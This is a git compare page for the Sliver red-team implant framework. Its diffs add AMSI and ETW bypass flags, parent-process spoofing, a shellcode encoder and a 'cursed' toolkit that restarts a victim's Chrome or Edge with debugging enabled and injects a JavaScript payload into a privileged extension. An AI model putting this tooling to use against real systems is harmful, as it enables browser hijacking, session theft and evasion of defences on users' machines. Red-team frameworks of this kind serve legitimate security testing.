Compare commits

..
103 Commits
Author SHA1 Message Date
moloch-- 0c5f8a123b Implemented cursed screenshot and better porfwd tunnel cleanup handling 2022-09-03 16:07:35 -07:00
Ronan Kervella 583edd7a2f Merge pull request #827 from BishopFox/fix/portfwd-815
Fix/portfwd 815
2022-09-03 14:06:34 -07:00
Ronan Kervella e03381994c Merge pull request #826 from BishopFox/cdp
Cursed Edge Support
2022-09-02 17:45:50 -07:00
moloch-- 536ac4dd0f fix issue #815 2022-09-02 16:52:56 -07:00
moloch-- 651941844a removed unused flags 2022-09-02 16:03:52 -07:00
moloch-- 88a5b3a01c cursed support for edge and chromium 2022-09-02 16:03:27 -07:00
Joe 4c67157f48 Merge pull request #825 from BishopFox/stage
Prevent shellcode generation for other platforms than Windows.
2022-09-02 12:28:10 -05:00
rkervella d02c421e9e Prevent shellcode generation for other platforms than Windows. 2022-09-02 09:35:12 -07:00
Ronan Kervella 157b84ee5b Merge pull request #821 from jamesgol/screenshot
Only log screenshot error if there is one
2022-09-01 16:11:18 -07:00
James Golovich b5f25e14ae Only log error if there is one 2022-09-01 15:11:18 -07:00
Joe 4c9f701e0f Merge pull request #820 from BishopFox/cdp
Cursed updates
2022-09-01 15:02:34 -05:00
Ronan Kervella 336068cdf3 Merge pull request #819 from jamesgol/reaction_file
Include reaction file path in output
2022-09-01 12:48:21 -07:00
rkervella 2b9b4eb5f3 Kill cursed process on removal 2022-09-01 11:42:09 -07:00
rkervella e13faf9682 Actually terminate processes :) 2022-09-01 11:33:05 -07:00
James Golovich 044688ace4 Include reaction file path in output 2022-09-01 09:21:22 -07:00
Ronan Kervella 7e633962ce Merge pull request #818 from BishopFox/cdp
Cursed
2022-09-01 08:26:41 -07:00
moloch-- 7911450862 fixes for windows 2022-08-31 22:56:27 -07:00
moloch-- 519ef88866 ux improvements 2022-08-31 22:36:13 -07:00
moloch-- 823e22e120 ux improvements 2022-08-31 22:28:59 -07:00
moloch-- 94d672619b Initial console implementation 2022-08-31 22:02:39 -07:00
moloch-- 29f5a17339 Fixes to electron cmd 2022-08-31 20:35:40 -07:00
moloch-- d71c45223f Implemented electron cmd 2022-08-31 20:21:36 -07:00
moloch-- 2578513ae3 Outlined electron cmd 2022-08-31 19:43:41 -07:00
moloch-- 552a824e1b Refactor and improved state mgmt 2022-08-31 18:43:51 -07:00
moloch-- 5a352de056 Improved state mgmt 2022-08-31 17:43:56 -07:00
moloch-- 33e5525136 Refactor implemented call to ExecuteJS 2022-08-31 16:48:40 -07:00
moloch-- 756bb7749e Merge branch 'master' into cdp 2022-08-31 14:09:52 -07:00
moloch-- 6233d2fbe7 Merge branch 'master' into cdp 2022-08-31 14:09:16 -07:00
Ronan Kervella 729449b653 Merge pull request #814 from BishopFox/fix/db-by-foo
Fix issue #813
2022-08-31 08:33:01 -07:00
moloch-- f1030ebaa4 Added additional checks for uuid.Nil 2022-08-31 07:08:47 -07:00
Joe 7a962ae120 Merge pull request #812 from jamesgol/unknown_dialect
Panic if someone specifies an invalid DB Dialect
2022-08-31 08:57:17 -05:00
moloch-- 39da957b7c Fix issue #813 2022-08-31 06:56:41 -07:00
moloch-- c230ce0b2e Consolidating state into core.CursedProcess 2022-08-31 06:51:15 -07:00
James Golovich 8b44024672 Panic if someone specifies an invalid DB Dialect 2022-08-30 21:35:35 -07:00
moloch-- f8b17891d1 Implemented some of the initial primatives 2022-08-30 17:35:25 -07:00
Joe 4ffb75fa15 Merge pull request #809 from jamesgol/multi-persist
Ensure persistent multiplayer consoles startup
2022-08-30 11:46:50 -05:00
Ronan Kervella f9bc1a7bd3 Merge pull request #810 from BishopFox/moloch---patch-1
Update CODEOWNERS
2022-08-30 09:45:40 -07:00
moloch-- 867ac37f1f Fix issue #811 2022-08-30 07:43:22 -07:00
moloch-- 04a7148ab7 Initial refactor 2022-08-30 07:05:25 -07:00
moloch-- 010025645b Initial refactor 2022-08-30 07:05:03 -07:00
Joe 7a22ed901a Update CODEOWNERS 2022-08-30 08:47:51 -05:00
James Golovich a29135770f Ensure persistent multiplayer consoles startup 2022-08-29 19:36:00 -07:00
moloch-- 8de0eaff13 initial import of some of the overlord code 2022-08-29 16:46:26 -07:00
Joe abde731c35 Merge pull request #808 from BishopFox/fix/registry-type
fix RegistryType off-by-one
2022-08-29 13:52:21 -05:00
Leron Gray 1f7bc9b227 fix RegistryType off-by-one 2022-08-29 11:08:00 -07:00
Ronan Kervella 8617ac9c47 Merge pull request #807 from BishopFox/fix/registry-type
add RegistryType to protobuf
2022-08-29 08:23:38 -07:00
Leron Gray 8aa8095010 add RegistryType to protobuf 2022-08-29 00:55:31 -07:00
Ronan Kervella b621107965 Merge pull request #804 from BishopFox/stage
Add warning for argument overflow
2022-08-26 13:27:14 -07:00
rkervella 04f0d38bd2 Add warning for argument overflow 2022-08-26 12:14:05 -07:00
Ronan Kervella 8ef7f465a4 Merge pull request #803 from BishopFox/in-proc-execute-assembly
In process `execute-assembly`
2022-08-26 11:54:42 -07:00
rkervella 102ee0b533 Merge branch 'master' into in-proc-execute-assembly 2022-08-26 11:06:13 -07:00
rkervella c3cb978ee6 Add debug log 2022-08-26 11:03:26 -07:00
Ronan Kervella 18ddfd2943 Merge pull request #802 from BishopFox/feature/ppid-spoofing
Fix grumble flag (Uint instead of Int)
2022-08-26 11:02:56 -07:00
rkervella 3b3a335c41 Working in-mem execute-assembly 2022-08-26 10:50:59 -07:00
rkervella b64f00a66e Fix grumble flag (Uint instead of Int) 2022-08-26 09:09:51 -07:00
rkervella 6a44f6b435 WIP, doesn't work 2022-08-26 08:26:55 -07:00
rkervella e4db654d62 Add in-proc flag in RPC call 2022-08-25 14:31:47 -07:00
rkervella 1a1924273b Fix undefined vars 2022-08-25 14:31:33 -07:00
Joe c20acb9657 Merge pull request #800 from jamesgol/postgres2
Get sliver working with PostgreSQL
2022-08-25 16:26:24 -05:00
rkervella 3d89716007 Fix implant vendor 2022-08-25 14:24:28 -07:00
rkervella 3351ab0fee Fix implant vendor 2022-08-25 14:24:16 -07:00
rkervella 4c062445ad Add back vendor 2022-08-25 14:16:34 -07:00
rkervella bdb6393842 Add alias support 2022-08-25 14:11:15 -07:00
rkervella 20a4043d7c Add client-side support 2022-08-25 14:09:36 -07:00
rkervella 79d720d477 Add RPC support for in-proc execute-assembly 2022-08-25 14:03:51 -07:00
rkervella 2ec234fd8c update vendor 2022-08-25 13:49:48 -07:00
rkervella 3ab978e754 Update script to work on macos 2022-08-25 13:49:33 -07:00
rkervella 0644a82a2c Add implant support for in-proc execute-assembly 2022-08-25 13:49:10 -07:00
James Golovich d6c41f1713 Reorder models so the dependencies are defined before they are used. 2022-08-25 12:57:05 -07:00
James Golovich 660af1fe60 Setup DSN properly for PostgreSQL 2022-08-25 12:56:32 -07:00
Joe 79f2d48fcd Merge pull request #797 from BishopFox/fix/extensions
Fix race condition in extensions
2022-08-24 15:43:07 -05:00
Joe 166c494894 Merge pull request #796 from BishopFox/sgn
Shikata Ga Nai
2022-08-24 15:04:42 -05:00
rkervella 01121922e9 Add mutex to extension structures 2022-08-24 13:01:15 -07:00
rkervella c1a9702760 Merge branch 'master' into fix/extensions 2022-08-24 12:37:56 -07:00
moloch-- 1be70b3053 Improved standalone cmd help 2022-08-24 11:24:11 -07:00
moloch-- f0405a3beb Integrated sgn with generate shellcode 2022-08-24 11:13:57 -07:00
moloch-- 68e9dcc61c Inegrated sgn into execute-shellcode 2022-08-24 10:56:35 -07:00
moloch-- f75d791d20 Fix input file and rcp func name 2022-08-24 09:44:55 -07:00
moloch-- 223500ed83 Initial integration of sgn 2022-08-24 09:05:01 -07:00
Joe e72cc7dcef Merge pull request #795 from BishopFox/feature/ppid-spoofing
Add PPID spoofing + custom process arguments for fork/exec commands
2022-08-23 14:39:56 -05:00
rkervella 709065a067 Cast to proper message 2022-08-23 11:41:05 -07:00
rkervella 99c23dc226 Only use token when specified 2022-08-23 11:18:43 -07:00
rkervella 8a278ce532 Add PPID spoofing + custom process arguments for fork/exec commands 2022-08-23 11:12:36 -07:00
Ronan Kervella 29755d7109 Merge pull request #792 from MrAle98/fix/namedpipe-pivots
Fix/namedpipe pivots
2022-08-22 08:25:35 -07:00
MrAle98 1d885c6083 fix 2022-08-19 22:49:04 +02:00
MrAle98 f85d0d64d8 fix 2022-08-19 22:49:03 +02:00
MrAle98 28e52e42b4 re-added debug option 2022-08-19 22:49:02 +02:00
MrAle98 8bfba5cb50 added delivery in chunks 2022-08-19 22:49:01 +02:00
Joe 6bb49e444b Merge pull request #787 from BishopFox/feature/stage-encryption
Fix stage encryption and add zlib compression option
2022-08-16 19:59:31 -05:00
moloch-- 205737f768 No compression by default 2022-08-16 17:21:33 -07:00
moloch-- f19c43f07b Added deflate9 compression option 2022-08-16 17:14:10 -07:00
moloch-- 81b8002ac0 Compress prior to encryption 2022-08-16 17:07:55 -07:00
moloch-- c5853a35fc Call the compression function 2022-08-16 17:06:40 -07:00
moloch-- 98f55c8432 Make compression configurable 2022-08-16 17:06:00 -07:00
rkervella 34f60a7b1a Fix stage encryption and add zlib compression option 2022-08-16 15:22:53 -07:00
Joe 9987f377a2 Merge pull request #786 from BishopFox/fix/profiles-beacon-name
Add missing `--name` flag for beacon profiles
2022-08-12 18:29:58 -05:00
rkervella 9852f03ebb Add missing --name flag for beacon profiles 2022-08-11 09:41:26 -07:00
Ronan Kervella ce95f86f38 Merge pull request #784 from BishopFox/fix/donwload
Fix `donwload` for folders in beacon mode
2022-08-10 14:06:47 -07:00
Ronan Kervella cec867426f Merge pull request #782 from BishopFox/go/v1.18.5
go version 1.18.5
2022-08-10 08:08:28 -07:00
moloch-- 8479252975 force go version in workflows 2022-08-09 12:04:50 -07:00
moloch-- 4bfb38e52d go version 1.18.5 2022-08-09 11:58:12 -07:00
moloch-- aba4a140c3 add codeowners 2022-08-08 08:31:22 -07:00
rkervella d55c20d7a2 Compare command names instead of extension name 2022-06-17 14:59:57 -07:00
599 changed files with 192657 additions and 5937 deletions

No files matched your search

+1
View File
@@ -0,0 +1 @@
* @BishopFox/red-team
+2 -2
View File
@@ -17,7 +17,7 @@ jobs:
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '1.18.5'
- name: OS Packages
run: |
@@ -68,7 +68,7 @@ jobs:
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '1.18.5'
- name: Mingw
run: brew install mingw-w64
+1 -1
View File
@@ -20,7 +20,7 @@ jobs:
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: "^1.18"
go-version: "1.18.5"
- name: Checkout repository
uses: actions/checkout@v2
+2 -2
View File
@@ -23,7 +23,7 @@ jobs:
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '1.18.5'
- name: OS Packages
run: |
@@ -58,7 +58,7 @@ jobs:
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '1.18.5'
- name: Mingw
run: brew install mingw-w64
+1 -1
View File
@@ -1,4 +1,4 @@
FROM golang:1.18.4
FROM golang:1.18.5
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+38 -9
View File
@@ -28,6 +28,7 @@ import (
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -177,8 +178,15 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("i", "in-process", false, "Run in the current sliver process")
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -272,6 +280,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint
processArgsStr := ctx.Flags.String("process-arguments")
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
processArgs := strings.Split(processArgsStr, " ")
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(goos)
@@ -306,15 +325,21 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
InProcess: ctx.Flags.Bool("in-process"),
Runtime: ctx.Flags.String("runtime"),
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
EtwBypass: ctx.Flags.Bool("etw-bypass"),
})
ctrl <- true
<-ctrl
@@ -350,6 +375,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
EntryPoint: aliasManifest.Entrypoint,
Kill: true,
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
})
ctrl <- true
<-ctrl
@@ -386,6 +413,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
})
ctrl <- true
<-ctrl
+179 -2
View File
@@ -42,6 +42,7 @@ import (
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/cursed"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
@@ -69,6 +70,7 @@ import (
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/command/shell"
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
"github.com/bishopfox/sliver/client/command/socks"
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/update"
@@ -478,7 +480,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -985,6 +988,33 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
// [ Shellcode Encoders ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.ShikataGaNai,
Help: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない",
LongHelp: help.GetHelpFor([]string{consts.ShikataGaNai}),
Args: func(a *grumble.Args) {
a.String("shellcode", "binary shellcode file path")
},
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save output to local file")
f.String("a", "arch", "amd64", "architecture of shellcode")
f.Int("i", "iterations", 1, "number of iterations")
f.String("b", "bad-chars", "", "hex encoded bad characters to avoid (e.g. 0001)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sgn.ShikataGaNaiCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
// [ Exec ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
@@ -1000,6 +1030,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
f.String("E", "stderr", "", "remote path to redirect STDERR to")
f.String("n", "name", "", "name to assign loot (optional)")
f.Uint("P", "ppid", 0, "parent process id (optional, Windows only)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1030,9 +1061,15 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("i", "in-process", false, "Run in the current sliver process")
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Uint("P", "ppid", 0, "parent process id (optional)")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1063,6 +1100,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
f.Bool("S", "shikata-ga-nai", false, "encode shellcode using shikata ga nai prior to execution")
f.String("A", "architecture", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
f.Int("I", "iterations", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1081,6 +1121,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
f.Uint("P", "ppid", 0, "parent process id (optional)")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1109,6 +1151,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
f.Uint("P", "ppid", 0, "parent process id (optional)")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
},
Args: func(a *grumble.Args) {
a.String("filepath", "path the DLL file")
@@ -1523,6 +1567,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "canary", "", "canary domain(s)")
f.String("N", "name", "", "implant name")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
@@ -3254,6 +3299,138 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("r", "range", "sliver", "Agents range")
},
})
con.App.AddCommand(operatorCmd)
// [ Curse Commands ] ------------------------------------------------------------
cursedCmd := &grumble.Command{
Name: consts.Cursed,
Help: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚",
LongHelp: help.GetHelpFor([]string{consts.Cursed}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedCmd(ctx, con)
con.Println()
return nil
},
}
cursedCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a Curse from a process",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "kill", false, "kill the process after removing the curse")
},
Args: func(a *grumble.Args) {
a.Int("bind-port", "bind port of the Cursed process to stop")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedRmCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedConsole,
Help: "Start a JavaScript console connected to a debug target",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedConsoleCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedChrome,
Help: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedChromeCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedEdge,
Help: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedEdgeCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.ScreenshotStr,
Help: "Take a screenshot of a cursed process debug target",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int64("q", "quality", 100, "screenshot quality (1 - 100)")
f.String("s", "save", "", "save to file")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedScreenshotCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedElectron,
Help: "Curse a remote Electron application",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("e", "exe", "", "remote electron executable absolute path")
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedElectronCmd(ctx, con)
con.Println()
return nil
},
})
con.App.AddCommand(cursedCmd)
}
+3
View File
@@ -0,0 +1,3 @@
# Cursed
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
+425
View File
@@ -0,0 +1,425 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"fmt"
"io/ioutil"
"log"
insecureRand "math/rand"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
ErrUnsupportedOS = errors.New("unsupported OS")
windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraChrome(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
}
}
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
chromeProcess, err := getChromeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if chromeProcess != nil {
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: chromeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(false, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
